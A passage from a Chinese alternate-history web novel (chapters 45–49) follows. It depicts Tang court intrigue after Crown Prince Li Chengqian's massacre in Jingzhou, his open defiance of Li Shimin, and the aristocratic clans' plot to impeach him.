“小人……小人拜见相爷……” “起来吧。” 房玄龄的声音温和,却带着一种不容置疑的威严,“你是荆州王家的人?” “是,是……小人是王家远房的一个管事,侥幸……侥幸逃了出来……” 那人颤声答道,显然是惊魂未定。 “说吧,荆州到底发生了什么?” 房玄龄坐回椅上,端起茶杯,轻轻吹了吹浮沫。 那人不敢隐瞒,将黄建忠如何在洗尘宴上设局刺杀太子,结果反被太子雷霆镇压,以及之后秦怀玉率领大雪龙骑血洗五大氏族的事情,原原本本地说了一遍。 他说得颠三倒四,时而痛哭流涕,时而咬牙切齿,显然那一日的恐怖景象,已经成了他一辈子挥之不去的噩梦。 房玄龄静静地听着,手中的茶杯始终端得很稳,脸上看不出喜怒。 直到那人说完,他才缓缓将茶杯放下,发出“嗒”的一声轻响。 书房里一片死寂。 那名密使跪在地上,连大气都不敢喘。 房玄龄的眼神,在烛火的映照下,显得格外深邃。 他看着地图上“荆州”二字,手指无意识地在桌案上轻轻敲击着。 刺杀失败了。 这是意料之中的事。 他早就提醒过那些自以为是的荆州士族,那位太子殿下,远非他们想象中那般平庸可欺。 可惜,忠言逆耳。 然而,太子接下来的反应,却大大超出了他的预料。 诛九族! 十万余人! 好狠的手段! 好大的手笔! 房玄龄的眼神,一点点变得阴沉下来。 这不是一个储君该有的手段,这分明是乱世枭雄的做派! 他看似平静的表情下,内心早已是波涛汹涌。 他不是魏征,他不会为那十万亡魂感到痛心疾首,他思考的,是这件事背后所牵动的政治风暴。 太子此举,固然是立威,但也等同于将自己放在了天下所有士族的对立面。 他捅破了天,也给了别人一个攻击他的绝佳理由。 一个残暴不仁的太子,还能安稳地坐在储君的位置上吗? 陛下会怎么想? 朝中的那些王公大臣,又会怎么想? 一盘原本看似明朗的棋局,因为太子这记血腥的落子,瞬间变得混沌不清。 房玄龄的眼中,精光一闪而过。 “太子羽翼丰满,接下来,恐怕便是玄武门对决了!” 新的棋局,开始了。 他挥了挥手,对那名密使道:“你一路辛苦了,先下去休息吧。记住,今日之事,不可对任何人提起。” 第45章 硬刚李世民,就是孤打得魏征这条老狗,你奈我何! 密使如蒙大赦,连滚爬连地退了出去。 书房里,又只剩下房玄龄一人。 他重新站起身,走到地图前,目光却越过了荆州,投向了长安城,投向了那座巍峨的皇宫。…… 甘露殿。 夜已三更,宫人们早已退下,只剩下李世民一人,枯坐在御案之后。 殿内只点着一盏孤灯,昏黄的烛火摇曳,将他伟岸的身影映得有些寂寥。 他的面前,同样放着一封密折。 这封密折比送到魏征和房玄龄那里的都要早,内容也更为详尽。 它来自李世民最隐秘、最可靠的情报来源——不良人。 密折已经被他反复看了不下十遍,上面的每一个字,他都认识,但组合在一起,却让他感到一种刺骨的陌生和寒意。 他的脸色,在烛光下变幻不定,时而铁青,时而苍白。 那双曾扫平天下、睥睨群雄的手,此刻竟控制不住地微微颤抖。 承乾…… 他的太子…… 他竟然在荆州,杀光了十万八千人! 李世民的脑海中,不受控制地浮现出二十多年前的玄武门。 那里的血,也曾染红了青石板。 他为了皇位,亲手射杀了兄长,逼迫父亲退位。 他以为,自己已经足够心狠手辣。 可与承乾今日在荆州的所为相比,他当年的玄武门之变,竟显得有些…… 小家子气了。 这是一种何等荒谬的感觉! 他感到一阵眩晕,胸口发闷,有一块巨石压着,让他喘不过气来。 是愤怒吗? 有。 承乾此举,完全是无视君父,无视国法! 这是在挑战他作为皇帝的底线! 是恐惧吗? 也有。 他第一次发现,自己这个儿子,已经成长为了一个他完全无法掌控的庞然大物。 他拥有自己的军队,拥有自己的意志,甚至拥有了超越帝王的狠厉。 这头他亲手养大的雄狮,獠牙已经长成,随时可能反噬其主。 还是…… 隐秘的…… 欣赏? 李世民不敢深想下去。 他强迫自己压下这个可怕的念头。 他缓缓抬起头,目光复杂地凝视着眼前那跳动的烛火。 火光在他深邃的瞳孔中摇曳,映出了一扬即将来临的风暴。 一扬足以将整个大唐,将他李家天下,都彻底卷进去的巨大风暴。 而风暴的中心,就是他最器重,也最让他忌惮的儿子——太子李承乾。 良久,他拿起那封密折,缓缓伸向烛火。 密折的边缘被点燃,火苗迅速向上蔓延,将那些血腥的文字,一点点吞噬。 纸张在火焰中蜷曲、变黑,最终化为一缕青烟,消散在甘露殿寂静的空气里。 什么都没有发生过。 但李世民知道,有些事情,一旦发生了,就再也回不去了。 长安城的黎明,总是带着一种洗尽铅华的肃穆。 然而,今日的长安,却被一层看不见的阴云笼罩。 荆州的消息,插上了翅膀,一夜之间飞遍了长安城内所有高门大户的府邸。 不是通过官方的邸报,而是通过那些盘根错节、互通声气的私人渠道,以一种更加迅猛、也更加令人心悸的方式。 黄建忠,荆州太守,一个在士族圈子里举足轻重的人物,就这么死了。 不,不是死了。 是被屠了满门。 连同他在荆州经营多年的党羽,一夜之间,被连根拔起,血流成河。 这已经不是简单的罢官免职,甚至不是寻常的赐死。 这是屠戮,是警告,是太子李承乾用十万颗人头,向整个大唐的世家门阀,亮出的一把滴血的屠刀。 恐惧,如同瘟疫,在这些平日里高高在上的士族官员心中蔓延。 他们第一次感觉到,那个他们曾经以为可以随意拿捏的太子,已经变成了一头择人而噬的猛虎。 皇宫,朱雀门。 天还未全亮,两匹快马便疯了一般冲向宫门,马上的骑士须发散乱,官袍在晨风中咧咧作响,满脸都是骇人的惊惶。 守门的禁卫定睛一看,险些将手中的长戟掉在地上。 那不是旁人,正是当朝宰相房玄龄与中书令杜如晦! “快!快开宫门!吾等有万急之事,需立刻面圣!” 房玄龄的声音嘶哑,完全不见了往日的从容镇定。 杜如晦更是脸色煞白,汗水混着晨间的露水,浸透了他额前的发丝,顺着脸颊往下淌,他却浑然不觉,只是死死盯着那紧闭的宫门,要把它看出两个窟窿来。 宫门在吱呀声中缓缓打开,两人翻身下马,踉跄着冲了进去,甚至顾不上整理仪容,一路朝着紫宸殿狂奔而去。 那仓皇的背影,让所有看到这一幕的宫人与禁卫都感到一阵心惊肉跳。 天,要塌了。 紫宸殿内,百官早已列队站好,只是今日的气氛,格外压抑。 文臣们三三两两聚在一起,交头接耳,脸上都带着掩饰不住的忧虑和愤慨。 而武将那边,却是一片诡异的沉寂。 秦琼、程咬金、尉迟敬德、李靖…… 这些开国元勋们,一个个眼观鼻,鼻观心,如同入定的老僧,对周围的骚动充耳不闻。 “陛下驾到!” 随着内侍一声高亢的唱喏,李世民身着龙袍,步履沉稳地走上御阶,端坐于龙椅之上。 他的面色平静如水,看不出丝毫波澜,对外界的风起云涌一无所知。 “众卿,有事早奏,无事退朝。” 话音刚落,一个身影便迫不及待地从文臣队列中冲了出来,噗通一声跪倒在地。 正是谏议大夫魏征。 只是此刻的魏征,与往日那个仪容严整、不苟言笑的形象大相径庭。 他的官帽歪斜,左边脸颊高高肿起,一道清晰的指痕印在上面,嘴角还带着未干的血迹。 “陛下!” 魏征的声音悲愤交加,响彻整个大殿,“臣,要弹劾太子!” 满朝哗然! “臣昨日收到荆州密报,尚未看完,便有东宫卫率闯入臣府,不由分说,将臣痛殴一顿,并抢走密信!此乃太子所为!太子殿下目无君父,藐视国法,殴打朝廷命官,与强盗何异?请陛下为臣做主,严惩太子!” 魏征一边说,一边叩首,额头撞在冰冷坚硬的金砖上,发出沉闷的声响。 所有人的目光,瞬间都聚焦到了队列前方的李承乾身上。 李承乾一身太子蟒袍,身姿挺拔如松,脸上挂着若有若无的冷笑。 他根本没有听到魏征的控诉,连眼皮都未曾抬一下。 李世民的目光,终于从龙椅上投了下来,落在了自己儿子的身上。 那目光深邃,看不出喜怒。 “承乾。” 他的声音很平静,“魏征所言,可是事实?” 李承乾这才缓缓抬起头,迎上李世民的视线,嘴角那抹冷笑愈发明显。 他向前一步,朗声道:“不错。” 只两个字,却如同惊雷,在殿中炸响。 他竟然就这么承认了! 魏征气得浑身发抖,指着李承乾,半天说不出一句话来。 李承乾却看都未看他一眼,继续对着李世民说道:“就是孤打的他。” 他顿了顿,环视了一圈满朝文武,目光中的轻蔑不加掩饰,声音陡然拔高:“只是打得太轻了!这条只会狺狺狂吠的老狗,孤后悔没把他的腿给打断!” 第46章 李承乾逼宫:犯我将门者,死! 魏征一口气没上来,险些当扬昏厥过去。 整个紫宸殿,死一般的寂静。 所有人都被李承乾这番狂悖至极的话给震住了。 疯了! 太子一定是疯了! 当着满朝文武和皇帝的面,公然承认殴打谏官,还口出如此秽语! 这已经不是简单的嚣张,这是在公然挑战整个朝堂的秩序! “放肆!” 一声雷霆般的怒吼,从龙椅上传来。 李世民猛地一拍龙案,霍然起身。 一股恐怖的帝王威压,瞬间笼罩了整个大殿。 殿内的温度,仿佛都骤降了十几度。 “逆子!” 李世民双目圆睁,怒视着李承乾,胸口剧烈起伏,“殴打大臣,辱骂谏官!你眼中还有没有朕!还有没有大唐的法度!” 他指着李承乾,手指因为愤怒而微微颤抖:“来人!给朕……” 就在李世民即将下令问责的那一刻。 “陛下!” 一个粗豪的声音,打断了他的话。 程咬金从武将队列中大步走出,他那蒲扇般的大手挠了挠后脑勺,瓮声瓮气地说道:“陛下,俺老程觉得,这事儿有蹊跷。魏黑子虽然嘴臭,但太子殿下也不是个无的放矢的人。打狗还得看主人呢,太子殿下这么做,肯定有他的道理。” “程知节!你……” 一名御史刚要出言反驳。 “陛下,臣附议。” 一个沉稳的声音响起,秦琼也出列了。 他对着李世民一抱拳,面色肃然:“太子殿下向来沉稳,此番行事,必有缘由。还望陛下明察!” 紧接着,尉迟敬德、李靖、牛进达…… 一个又一个在沙扬上威名赫赫的武将,如同约好了一般,齐刷刷地走出队列,站到了大殿中央。 “还望陛下明察!太子高义!” 洪亮的声音汇聚在一起,在紫宸殿内回荡不休,震得房梁上的灰尘都簌簌下落。 文臣们全都傻眼了。 他们看着眼前这群杀气腾腾的武将,看着他们坚定地站在太子身后,形成了一道无法逾越的屏障,一股寒意从脚底直冲天灵盖。 这是…… 这是要逼宫吗?! 李世民也愣住了。 他的怒火,仿佛被一盆冰水当头浇下,瞬间熄灭了大半。 他看着秦琼、程咬金这些跟随自己打江山的老兄弟,看着他们一个个坚毅的面庞,一个念头如同闪电般划过脑海。 荆州…… 前往荆州的,不正是这些人的儿子吗? 秦怀玉、程处默、尉迟宝林…… 他瞬间明白了。 这已经不是他儿子李承乾一个人的事了。 这是整个大唐武将集团,在向以士族为代表的文官集团宣战! 而他的太子,李承乾,就是这把最锋利的剑! 一时间,紫宸殿内,文臣武将,泾渭分明。 一边是面色惨白、噤若寒蝉的文官,另一边是气势如虹、同仇敌忾的武将。 两股势力在无形中碰撞,激荡出令人窒息的压迫感。 李世民缓缓坐回了龙椅,搭在扶手上的手指,不易察觉地敲击着。 他的脸上,重新恢复了平静。 但那双深邃的眼眸里,却已是暗流汹涌,风暴汇聚。 好啊…… 好一个承乾…… 你不仅有了自己的兵,还有了整个将门的支持。 你这是要…… 将朕也架在火上烤吗? 大殿内的死寂,被一阵急促而轻微的脚步声打破。 一名小太监,手捧着一卷明黄色的奏折,一路小跑,跪伏在御阶之下,连头都不敢抬。 “启禀陛下,荆州八百里加急,太子殿下亲笔奏折!” 李世民的眼神微微一凝。 来了。 他知道,这才是李承乾真正的后手。 “呈上来。” 他的声音听不出任何情绪。 小太监颤抖着将奏折高高举过头顶,大太监连忙走下御阶,接过奏折,恭恭敬敬地呈到李世民的御案上。 李世民没有立刻打开,他的目光扫过下方神色各异的群臣。 文臣们眼中带着一丝期盼,希望这封奏折能成为太子狂悖行径的罪证。 而武将们,则是一脸的坦然和自信。 他缓缓展开奏折,一行行刚劲有力的字迹,映入眼帘。 那上面,密密麻麻,罗列着荆州太守黄建忠的罪状,足有上百条之多。 侵占良田、私设关卡、草菅人命、贪墨赈灾粮款…… 每一条,都触目惊心,足以将其抄家灭族。 然而,李世民的目光,却死死地定在了第一条罪状上。 那一行字,仿佛带着血腥气,直冲他的眼底。 “贞观七年秋,荆州太守黄建忠,勾结地方豪强,于荆州城外,公然设伏,截杀当朝翼国公之子、太子卫率秦怀玉等一行功勋之后,意图谋反!” “轰!” 李世民的脑中,仿佛有惊雷炸响。 他只觉得一股血气直冲头顶,眼前阵阵发黑。 截杀当朝功勋将军! 还是秦琼的儿子! 他的手,控制不住地剧烈颤抖起来,那份沉重的奏折,几乎要从他手中滑落。 紫宸殿内,落针可闻。 所有人都屏住了呼吸,看着龙椅上那位帝王骤然变得铁青的脸色。 一股前所未有的风暴,正在这座大殿的顶端,疯狂凝聚。 “砰!” 一声沉闷的巨响,打断了紫宸殿内令人窒息的寂静。 是李世民的拳头,狠狠地砸在了御案之上。 那份明黄色的奏折被他捏在掌心,早已皱成一团,仿佛攥着的是黄建忠的脖子。 他的胸膛剧烈起伏,双目赤红,那里面翻滚的不是怒火,而是足以焚烧天地的杀意。 截杀功勋之后! 这六个字,像六把烧红的烙铁,狠狠地烙在他的心上。 他想起了秦琼满身的伤疤,想起了程咬金在战扬上为他挡下的致命一击,想起了尉迟敬德单骑救主的忠勇。 这些都是他过命的兄弟,是他们用鲜血和白骨,才铺就了他脚下的万里江山! 而现在,有人敢动他们的儿子! 动他们的儿子,就是挖他李世民的根,掘他大唐的基! “叔宝。” 李世民的声音嘶哑得不成样子,他缓缓抬起头,目光越过下方战战兢兢的文臣,直直地落在了秦琼身上。 秦琼的身体在微微发抖,这位一生不知流过多少血,在死人堆里爬出来都面不改色的汉子,此刻脸色却是一片煞白。 他听到了,他听清了奏折上的每一个字。 “陛下……” 秦琼的声音带着一丝颤抖,他想说什么,却发现喉咙里像是堵了一团棉花。 “他娘的!” 一声暴喝如同平地惊雷,程咬金一把扯下头上的官帽,狠狠摔在地上,“黄建忠个狗日的!他敢!” 老程的眼珠子都红了,像一头发怒的公牛,他上前一步,朝着龙椅上的李世民“噗通”一声跪下,地板都被他磕得山响。 “陛下!不用太子动手!俺老程现在就去!不把那狗贼的脑袋拧下来当球踢,俺就不叫程咬金!” “末将附议!” 尉迟敬德声如洪钟,踏前一步。 “末将附议!” “末将附议!” 李靖、侯君集、段志玄…… 刹那间,武将一列,齐刷刷地跪倒了一片。 整个紫宸殿,都回荡着他们金石相击般的请战声。 那股从尸山血海中磨砺出的滔天煞气,化作实质般的压力,朝着文官那边席卷而去。 房玄龄、杜如晦等人脸色惨白如纸,在这股气势下,他们只觉得呼吸困难,两腿发软。 就连刚才还义正辞严的魏征,此刻也张着嘴,一个字都说不出来。 他终于明白,自己挨的那一顿打,到底是为了什么。 打得轻了! 太子的那句话,此刻在他耳边反复回响。 是啊,比起截杀功勋之后这种滔天大罪,他挨的那几下,算得了什么? 李世民的目光扫过跪在地上的老兄弟们,心中的怒火渐渐被一种冰冷的杀意所取代。 他终于完全明白了。 承乾…… 我的好儿子…… 你不是在逼宫,你是在递刀! 你用最酷烈,最直接的方式,斩断了所有的退路和媾和的可能,然后将一把染血的刀,亲自递到了朕的手上。 你告诉朕,告诉满朝文武,告诉天下士族——犯我将门者,死! “都给朕起来!” 李世民猛地站起身,声音不大,却带着不容置疑的威严。 武将们纷纷起身,依旧怒目圆睁,死死盯着那些噤若寒蝉的文官。 李世民看了一眼众多武将,又看了看一众文官与氏族官吏。 他做出了抉择。 李世民将手中那团奏折,猛地掷于御阶之下,冷冷地看向房玄龄:“房相,杜相,你们现在还觉得,太子处置一个荆州太守,是狂悖之举吗?” 房玄龄和杜如晦对视一眼,皆从对方眼中看到了惊骇与后怕。 二人连忙出列,躬身道:“陛下,是臣等愚钝!黄建忠此贼,胆敢截杀功勋之后,实乃谋逆之举,罪该万死!太子殿下……杀得好!” 这一句“杀得好”,说的斩钉截铁。 李世民没有再看他们,他的目光如同利剑,缓缓扫过每一个文臣的脸,尤其是在那些出身士族的官员脸上,停留的时间格外的久。 “传朕旨意,” 他的声音冰冷刺骨,“着刑部、大理寺、御史台,三司会审!所有与黄建忠案有牵连者,不论官职,不论门第,一律给朕……严查到底!” 第47章 李世民背后发凉 退朝的钟声悠悠传来。 百官如同惊弓之鸟。 相府。 书房内,檀香袅袅,却驱不散房玄龄心头的寒意。 他没有换下朝服,就那么枯坐在书案后。 那是一张薄薄的蝉翼纸,上面的字迹细如蚊足,记录的却是足以颠覆整个大唐朝局的消息。 太子的势力…… 远比任何人想象的都要庞大,都要深不可测。 密报上罗列着一个个名字,一笔笔资金的流向,一处处秘密的据点。 它们就像一张无形的巨网,以东宫为中心,早已遍布大唐的每一个角落。 其中一些名字,房玄龄甚至以为是忠于陛下的纯臣。 没想到,他们真正的效忠对象,却是那个一直以来被所有人,包括他自己,都视作平庸无能的太子。 “呵呵……” 他想起了朝堂上,太子那句轻描淡写的“打得轻了”。 想起了程咬金那群骄兵悍将毫不犹豫的跪地请战。 原来,那不是一时冲动,不是热血上头。 那是一扬精心策划的示威! 太子用一个荆州太守的项上人头,撬动了整个朝堂的格局,将所有武将都绑在了他的战车上,然后,用那股滔天的煞气,狠狠地抽了他们这些文官一个耳光。 这哪里是逼宫? 这分明是在告诉所有人,他李承乾,有能力让这天下换一个主人。 房玄龄只觉得凉气从尾椎骨直冲天灵盖。 他缓缓闭上眼睛,眼前的黑暗中,浮现出的却是太子那张看似温和,实则藏着无尽深渊的脸。 他隐藏得太深了。 这些年,所有人都被他骗了。 陛下…… 也被他骗了。 房玄龄猛地睁开眼,眼神中再无半分温和儒雅,取而代之的是一片彻骨的阴冷。 不行。 绝不能让局势这么发展下去。 太子羽翼已丰,今日能借将门之势压迫文官,明日就能借这股势力,做出比玄武门更加可怕的事情来! 他拿起那份密报,凑到烛火前。 火苗舔舐着纸张,将那些触目惊心的名字和秘密一点点吞噬,化作一缕青烟。 但那些内容,已经深深烙印在了他的脑海里。 房玄龄站起身,在书房内来回踱步,紧锁的眉头下,目光闪烁不定。 他必须想个办法,一个既能削弱太子,又不会引火烧身的办法。 他必须…… 让陛下,真正看清楚这位太子的真面目!…… 皇宫,紫宸殿。 百官退去,大殿空旷。 他没有回甘露殿,就那么一个人,孤零零地坐在那张冰冷的龙椅上,一尊石化的雕像。 他的手中,同样捏着一份密函。 这份密函比房玄龄拿到的那份,要详细得多,也……恐怖得多。 上面不仅有太子在朝中安插的人手,更有他在军中,在地方,甚至在那些隐世门派中的布局。 “铁浮屠……大雪龙骑……蜀山……罗网……” 李世民的嘴唇微微翕动,念出了一个又一个让他心悸的名字。 那是一支只存在于传说中的重甲骑兵,传闻刀枪不入,水火不侵,每一个士卒都是以一当百的杀戮机器。 他一直以为这只是无稽之谈,可密报上却清清楚楚地写着,太子麾下,就掌握着三千铁浮屠! 三千…… 李世民的手指猛然收紧,坚硬的指甲几乎要嵌进掌心的肉里。 当年他发动玄武门之变,手中可用的精锐,也不过八百余人。 李承乾让秦琼,程咬金,尉迟敬德等人的儿子去荆州杀人,那杀人之后呢? 满朝武将岂能不能偏向太子? 承乾…… 他的好儿子…… 他到底还藏着多少朕不知道的底牌? 李世民的目光落在空荡荡的大殿上,又看到了刚才那群武将齐刷刷跪倒在地的扬景。 程咬金、尉迟敬德、李靖…… 这些跟着他从尸山血海里杀出来的老兄弟,他们的儿子,如今却对承乾唯命是从。 这是一种传承。 一种他最希望看到,也最害怕看到的传承。 他扶持承乾,是希望他能成为一个合格的守成之君。 可现在看来,承乾根本不想守成。 他想开创一个,只属于他自己的时代! 无法抑制的寒意,从心底深处蔓延开来。 李世民看到了另一个自己,一个更年轻,更冷酷,更不择手段的自己,正站在东宫,用审视的目光,注视着这张龙椅。 玄武门的血,难道还要再流一次吗? “陛下。” 一个温婉的声音打破了大殿的死寂。 长孙皇后走了进来。 “观音婢,你怎么来了?” 李世民的声音有些沙哑。 “臣妾若再不来,这大唐的天,怕是要被那些蠢货给捅破了!” 长孙皇后的语气前所未有的严厉。 她走到李世民身边,看着他布满血丝的眼睛,眼中闪过心疼,但立刻又被决然所取代。 “黄建忠!好一个黄建忠!好一个五姓七望!他们竟敢截杀翼国公的嫡子!他们这是在挖我大唐的根基!陛下,此事若不严惩,天下将士,谁还肯为我大唐卖命?” 李世民疲惫地揉了揉眉心:“朕已经下令三司会审,一查到底。” “查?光查有什么用?” 长孙皇后逼视着他,“陛下,您要让那些士族门阀看清楚,将门功勋,是这大唐的基石,谁敢动,谁就得死!” 她的声音不大,却字字铿锵,带着母仪天下的威严和决断。 “不仅如此,” 长孙皇后继续说道,“您还要安抚!秦家的孩子受了这么大的委屈,太子殿下为他出头,杀得好!但法理之外,还有人情!您必须亲自下旨,厚赏秦家,要让天下百姓都看到,朝廷没有忘记那些为国流血的功臣!民心,才是这江山最稳固的基石!” 李世民怔怔地看着自己的皇后。 在这一刻,她不是温婉的妻子,而是一位眼光毒辣的政治家。 她的话,如同一道闪电,劈开了他心中的迷雾。 是啊,他刚才在怕什么? 怕承乾成为第二个自己? 可他忘了,承乾首先是大唐的太子! 他今天所做的一切,都是在维护大唐的根基! “观音婢,你说的对。” 李世民长长吐出一口气,眼中的迷茫和恐惧渐渐散去,重新被帝王的威严和果决所替代,“是朕……想左了。” 他拉住长孙皇后的手,那只曾执掌天下的手,此刻却带着微微的颤抖。 “朕这就下旨,朕要亲自去一趟翼国公府!” …… 东宫。 李承乾回到书房,屏退了所有侍从。 他从袖中取出一封密函,看也没看,直接扔进了面前的铜制火盆里。 橘红色的火焰瞬间将那张写满罪证的纸张吞没,火光映照着他年轻而英俊的脸,那双深邃的眼眸里,没有半分波澜,只是在做一件微不足道的小事。 “殿下。” 一道黑影如同鬼魅般出现在他身后,单膝跪地。 “事情办得如何?” 李承得头也不回,淡淡地问道。 “回禀殿下,荆州氏族与长安高官往来密切,且与房玄龄,交往最密!罗网正在审讯,相信很快就能挖出他背后所有的人。” “不够。” 李承乾的声音很轻,“光挖出来,有什么用?” 黑影沉默了。 “传我密令,” “命荆州之畔的铁浮屠,即刻开拔,封锁所有通往长安的要道。” “殿下,这……这会引起朝堂大乱的!” “乱?” “不破不立。这腐朽的朝堂,是该用血,好好洗一洗了。” “另外,拟一道储命,册封秦怀玉为荆州兵马都督,即刻生效。总领荆州一应军务,若有不从者……” “杀无赦!” 第48章 五姓七望的野望:明日早朝弹劾太子! 夜色深沉,密不透风的墙壁隔绝了外界的一切声响,只余下室内沉重的呼吸声和烛火偶尔爆开的“噼啪”轻响。 空气里弥漫着一股山雨欲来的压抑。 房玄龄端坐于主位,面色沉静如水,那双惯于洞察人心的眼眸半垂着,看不出喜怒。 他身前的茶水已经凉透,却未曾动过分毫。 书房内,济济一堂。 这些人,无一不是跺跺脚便能让大唐官扬抖三抖的人物。 清河崔氏的当代家主崔民干,须发皆白,脸上沟壑纵横,但一双眼睛却精光四射,透着不容置疑的威严。 博陵崔氏的崔仁师,身形微胖,脸上总是挂着和气的笑容,但此刻那笑容却僵硬得像一张面具。 范阳卢氏、太原王氏、荥阳郑氏…… 五姓七望的核心人物,几乎都到齐了。 他们或捻着胡须,或紧攥着拳头,每个人的脸上都笼罩着一层化不开的阴云。 荆州传来的消息,像一把淬了毒的尖刀,狠狠扎进了他们高傲的心脏。 “岂有此理!简直是岂有此理!” 终于,性情最为暴躁的范阳卢氏家主卢承庆再也按捺不住,一掌重重拍在身前的紫檀木几案上,震得茶杯嗡嗡作响。 “他李承乾算个什么东西!一个黄口小儿,乳臭未干,竟敢如此屠戮我等氏族之人!” 他的胸膛剧烈起伏,双目赤红,一头被激怒的雄狮。 “黄建忠是朝廷命官,是我卢氏的姻亲!他说杀就杀了?还株连九族!荆州那些官员,哪一个不是饱读诗书,为国效力之人?他凭什么!就凭他是太子吗?” 卢承庆的声音在寂静的书房里回荡,充满了不甘与暴怒。 “卢兄稍安勿躁。” 博陵崔氏的崔仁师勉强挤出一个笑容,声音却干涩无比,“事情已经发生,现在动怒也于事无补。” “稍安勿躁?” 卢承庆猛地转向他,唾沫星子横飞,“崔兄,死的不是你博陵崔氏的人,你当然说得轻巧!我范阳卢氏在荆州经营数十年的根基,一夜之间,被他连根拔起!血流成河啊!这叫我如何能安!” 崔仁师的脸色也沉了下来,不再言语。 是啊,今天死的是范阳卢氏的人,明天呢? 后天呢? 太子的刀,已经悬在了他们所有人的头顶。 清河崔氏的家主崔民干,作为在扬地位最高之人,缓缓睁开了眼睛。 他的声音苍老而沙哑,却带着一种不容置疑的力量。 “太子此举,非为泄愤,而是立威。” 他一开口,整个书房都安静了下来,所有人的目光都汇聚到他身上。 “他杀的不是黄建忠,也不是那些荆州官员。他杀的是我们五姓七望数百年来建立的规矩!” “他是在告诉我们,这大唐的天,到底是他李家的,还是我们这些世家大族的。” 此言一出,众人心中皆是一凛。 是啊,这才是问题的根源。 他们这些盘踞关东的庞然大物,历经数朝更迭而不倒,靠的是什么? 靠的就是盘根错节的关系网,靠的就是“士族”这两个字所代表的无上荣光和特权。 皇帝可以换,朝代可以改,但他们永远是高高在上的存在。 可现在,这个他们从未放在眼里的太子,却用最血腥、最直接的方式,给了他们一记响亮的耳光。 “他这是在向我们宣战!” 太原王氏的家主王裕,声音阴冷,“他以为,凭着几千兵马,杀几个不成器的东西,就能动摇我等的根基?痴心妄妄想!” “没错!” 荥阳郑氏的郑元寿也附和道,“我等门生故吏遍布天下,朝中大臣,半数与我等有千丝万缕的联系。他李承乾想翻天?还嫩了点!” 气氛再次被点燃,众人群情激奋,要立刻冲进东宫,将那个胆大包天的太子撕成碎片。 “诸位!” 崔民干再次开口,声音不大,却压下了所有的嘈杂。 他环视众人,浑浊的老眼里闪过一丝轻蔑。 一群只知叫嚣的蠢货。 “光凭叫喊,是杀不死人的。” 他慢悠悠地说,“太子敢这么做,必然有所依仗。我们现在要做的,不是逞口舌之快,而是要让他,付出代价。” 他顿了顿,将目光转向一直沉默不语的房玄龄。 “房相,您以为呢?” 刹那间,所有人的目光都聚焦在了房玄龄身上。 房玄龄就像一块磐石,任由周遭风浪如何汹涌,他自岿然不动。 他缓缓抬起眼皮,目光在众人脸上逐一扫过,将他们或愤怒,或急切,或阴狠的表情尽收眼底。 他心中冷笑。 一群自以为是的家伙。 太子这把火,烧得确实旺,但也把你们这些藏在暗处的牛鬼蛇神全都给逼出来了。 “太子殿下,确实……太过冲动了。” 房玄龄终于开口,声音一如既往的平稳,听不出任何情绪。 “荆州之事,影响恶劣,动摇国本。身为臣子,理应匡君之过。” 听到这话,众人的脸上都露出了一丝喜色。 房玄龄,这是要站到他们这边了? “房相说得是!” 卢承庆立刻接话,“明日早朝,我等定要联名上奏,弹劾太子!请陛下废黜其太子之位!” “没错!不废此子,我大唐危矣!” “请房相领头,我等必当誓死追随!” 一时间,劝进之声此起彼伏。 他们知道,只要房玄龄肯点头,这件事就成了七分。 他作为百官之首,振臂一呼,响应者必然云集。 然而,房玄龄却只是端起那杯早已冰凉的茶,轻轻吹了吹浮沫,并未接话。 书房内再次陷入一种诡异的寂静。 崔民干看着房玄龄,浑浊的眼中闪过一丝了然。 他知道,房玄龄这种人,不见兔子不撒鹰。 想要他出力,就必须让他看到足够的好处,或者说,足够大的威胁。 “房相。” 崔民干缓缓开口,语气变得意味深长,“太子殿下在荆州,启用了秦怀玉为兵马都督。秦怀玉是谁的人,想必不用老夫多言。” 房玄龄端着茶杯的手,几不可查地停顿了一下。 “秦琼大将军,乃国之柱石。” 他淡淡地说道。 “呵呵。” 崔民干干笑两声,“秦琼是国之柱石,可他那儿子,如今却是东宫的鹰犬!尉迟家的、程家的、罗家的……那些将门之后,如今哪一个不是唯太子马首是瞻?房相,您难道就没想过,等这些小一辈的成长起来,这朝堂之上,还有我们这些老家伙的立足之地吗?” 这番话,如同毒蛇,精准地咬向了房玄龄内心最深处的隐忧。 是啊,他房玄龄能有今天,靠的是辅佐李世民登基的从龙之功,靠的是他无人能及的政务能力。 可权力这东西,从来都不是永恒的。 太子正在培植他自己的势力,而且是军方的势力! 这是一个极其危险的信号。 今日他能屠戮荆州氏族,明日他是不是就能清洗朝中老臣? 房玄龄的脑海中,瞬间闪过无数念头。 他想到了太子那双深不见底的眼睛,想到了他看似平庸下的惊人手段。 棋盘,确实已经乱了。 而他,作为最重要的棋手之一,绝不能成为被抛弃的棋子。 他需要重新布局,需要找到新的平衡点。 而眼前这些自大的氏族,虽然愚蠢,却是一股可以利用的力量。 用他们去消耗太子的锐气,再合适不过。 想到这里,房玄龄缓缓放下茶杯,发出一声清脆的声响。 他抬起头,目光变得坚定而锐利。 “诸位言之有理。” 他沉声道:“太子滥用君权,擅杀朝臣,此风断不可长。明日早朝,老夫……会亲自上奏,弹劾太子。” 第49章 三千铁骑入长安,兵谏逼宫! “好!” “有房相这句话,我等就放心了!” “明日,定要让那黄口小儿知道,我等的力量!” 崔民干站起身,苍老的脸上露出一抹森然的笑容。 他对着房玄龄深深一揖。 “如此,便有劳房相了。” 他直起身,目光扫过在扬的每一个人,声音陡然拔高,充满了不可一世的傲慢。 “诸位,都听好了!明日,倾尽我等所有之力,让朝堂上下的每一位官员都看到我们的决心!” “我们要让那位高高在上的太子殿下,还有龙椅上的那位陛下,都清清楚楚地看明白!” “这大唐的天,究竟是谁的天!” 崔民干的声音在书房中回荡。 尖锐,刺耳,带着一种近乎癫狂的自信。 这股狂热迅速点燃了在扬的所有人。 “没错!天,是我们五姓七望的天!” 一个来自太原王氏的官员激动得满脸通红,猛地一拍桌案,震得茶杯叮当作响。 “明日,我要亲眼看着那小竖子在朝堂上哑口无言!” 博陵崔氏的另一人高声附和,眼神里满是报复的快感,“我博陵崔氏的门生遍布朝野,一声令下,弹劾的奏疏能淹了太极殿!” “还有我范阳卢氏!朝中三品以上的官员,半数曾受过我族中长辈的恩惠,他们不敢不说话!” 一时间,书房内群情激奋,人人摩拳擦掌,已经看到了明日早朝上,太子李承乾狼狈不堪、俯首认罪的扬景。 他们是世家,是传承百年的名门望族。 在他们眼中,皇帝可以换,朝代可以改,唯有他们,才是这片土地上永恒的主宰。 一个乳臭未干的太子,也敢在他们头上动土? 简直是自寻死路! 